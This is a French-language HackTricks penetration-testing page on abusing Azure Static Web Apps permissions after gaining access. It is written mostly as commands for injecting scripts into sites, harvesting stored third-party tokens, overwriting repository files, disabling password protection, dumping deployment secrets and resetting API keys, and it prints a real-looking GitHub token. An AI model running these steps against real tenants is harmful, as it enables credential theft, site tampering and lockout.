Az - Static Web Apps Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Azure Static Web Apps

Pour plus d’informations sur ce service, voir :

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

Il est possible de faire charger du code HTML arbitraire par une page web statique en crĂ©ant un snippet. Cela pourrait permettre Ă  un attaquant d’injecter du code JS dans l’application web et de voler des informations sensibles telles que des identifiants ou des clĂ©s mnĂ©moniques (dans les portefeuilles web3).

La commande suivante crĂ©e un snippet qui sera toujours chargĂ© par l’application web ::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Lire les identifiants tiers configurés

Comme expliqué dans la section App Service :

Az - App Services Privesc

En exécutant la commande suivante, il est possible de lire les identifiants tiers configurés dans le compte actuel. Notez que si, par exemple, certains identifiants Github sont configurés pour un autre utilisateur, vous ne pourrez pas accéder au token depuis un compte différent.

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Cette commande retourne des tokens pour Github, Bitbucket, Dropbox et OneDrive.

Voici quelques exemples de commandes pour vérifier les tokens :

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Écraser un fichier - Écraser les routes, HTML, JS


Il est possible de remplacer un fichier dans le dĂ©pĂŽt Github contenant l’application via Azure disposant du Github token, en envoyant une requĂȘte comme la suivante qui indiquera le chemin du fichier Ă  Ă©craser, le contenu du fichier et le message de commit.

Cela peut ĂȘtre exploitĂ© par des attaquants pour essentiellement modifier le contenu de l’application web afin de servir du contenu malveillant (voler des identifiants, des clĂ©s mnĂ©moniques
) ou simplement rediriger certains chemins vers leurs propres serveurs en Ă©crasant le fichier staticwebapp.config.json.

Warning

Notez que si un attaquant parvient à compromettre le dépÎt Github de quelque maniÚre que ce soit, il peut également écraser le fichier directement depuis Github.

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

Avec cette permission, il est possible de modifier le mot de passe protĂ©geant une static web app ou mĂȘme de dĂ©sactiver la protection de tous les environnements en envoyant une requĂȘte telle que la suivante :

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

Cette permission permet d’obtenir le jeton de dĂ©ploiement de la clĂ© API pour l’application statique.

En utilisant az rest:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Utilisation d’AzCLI :

az staticwebapp secrets list --name <appname> --resource-group <RG>

Ensuite, pour mettre Ă  jour une app en utilisant le token vous pouvez exĂ©cuter la commande suivante. Notez que cette commande a Ă©tĂ© extraite en vĂ©rifiant comment fonctionne la Github Action https://github.com/Azure/static-web-apps-deploy, car c’est celle qu’Azure configure par dĂ©faut. L’image et les paramĂštres pourraient donc changer Ă  l’avenir.

Tip

Pour dĂ©ployer l’app vous pouvez utiliser l’outil swa depuis https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou suivre les Ă©tapes brutes suivantes :

  1. Téléchargez le repo https://github.com/staticwebdev/react-basic (ou tout autre repo que vous voulez déployer) et exécutez cd react-basic.
  2. Modifiez le code que vous voulez déployer
  3. DĂ©ployez-le en exĂ©cutant (N’oubliez pas de changer le <api-token>) :
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

MĂȘme si vous avez le token, vous ne pourrez pas dĂ©ployer l’application si la stratĂ©gie d’autorisation de dĂ©ploiement est dĂ©finie sur Github. Pour utiliser le token, vous aurez besoin de la permission Microsoft.Web/staticSites/write pour changer la mĂ©thode de dĂ©ploiement afin d’utiliser le APi token.

Microsoft.Web/staticSites/write

Avec cette permission, il est possible de changer la source de la static web app vers un autre repository Github, toutefois, elle ne sera pas automatiquement provisionnĂ©e car cela doit ĂȘtre fait depuis une Github Action.

Cependant, si la stratĂ©gie d’autorisation de dĂ©ploiement est dĂ©finie sur Github, il est possible de mettre Ă  jour l’application depuis le nouveau repository source !.

Si la stratĂ©gie d’autorisation de dĂ©ploiement n’est pas dĂ©finie sur Github, vous pouvez la changer avec la mĂȘme permission Microsoft.Web/staticSites/write.

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

Exemple de GitHub Action pour dĂ©ployer l’application :

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

Avec cette permission, il est possible de reset the API key of the static web app, ce qui peut potentiellement faire un DoS sur les workflows qui dĂ©ploient automatiquement l’application.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

Cette permission permet de crĂ©er une invitation pour un utilisateur afin d’accĂ©der Ă  des chemins protĂ©gĂ©s Ă  l’intĂ©rieur d’une static web app avec un rĂŽle spĂ©cifique donnĂ©.

Le login se trouve Ă  un chemin tel que /.auth/login/github pour github ou /.auth/login/aad pour Entra ID et un utilisateur peut ĂȘtre invitĂ© avec la commande suivante :

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

Par dĂ©faut les Pull Requests provenant d’une branche du mĂȘme repo seront automatiquement compilĂ©es et dĂ©ployĂ©es dans un environnement de staging. Cela pourrait ĂȘtre exploitĂ© par un attaquant ayant un accĂšs write au repo mais sans pouvoir contourner les protections de branche de la branche de production (gĂ©nĂ©ralement main) pour dĂ©ployer une version malveillante de l’app dans l’URL de staging.

The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

Notez que, par dĂ©faut, les PR externes n’exĂ©cutent pas les workflows Ă  moins qu’ils n’aient fusionnĂ© au moins 1 PR dans le repository. Un attaquant pourrait envoyer un PR valide au repo puis envoyer un PR malveillant pour dĂ©ployer l’app malveillante dans l’environnement de staging. CEPENDANT, il existe une protection inattendue : l’action GitHub par dĂ©faut pour dĂ©ployer dans la static web app nĂ©cessite l’accĂšs au secret contenant le token de dĂ©ploiement (comme secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) mĂȘme si le dĂ©ploiement est effectuĂ© avec l’IDToken. Cela signifie que, puisque un PR externe n’aura pas accĂšs Ă  ce secret et qu’un PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu’un PR soit acceptĂ©, cette attaque ne fonctionnera pas vraiment.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks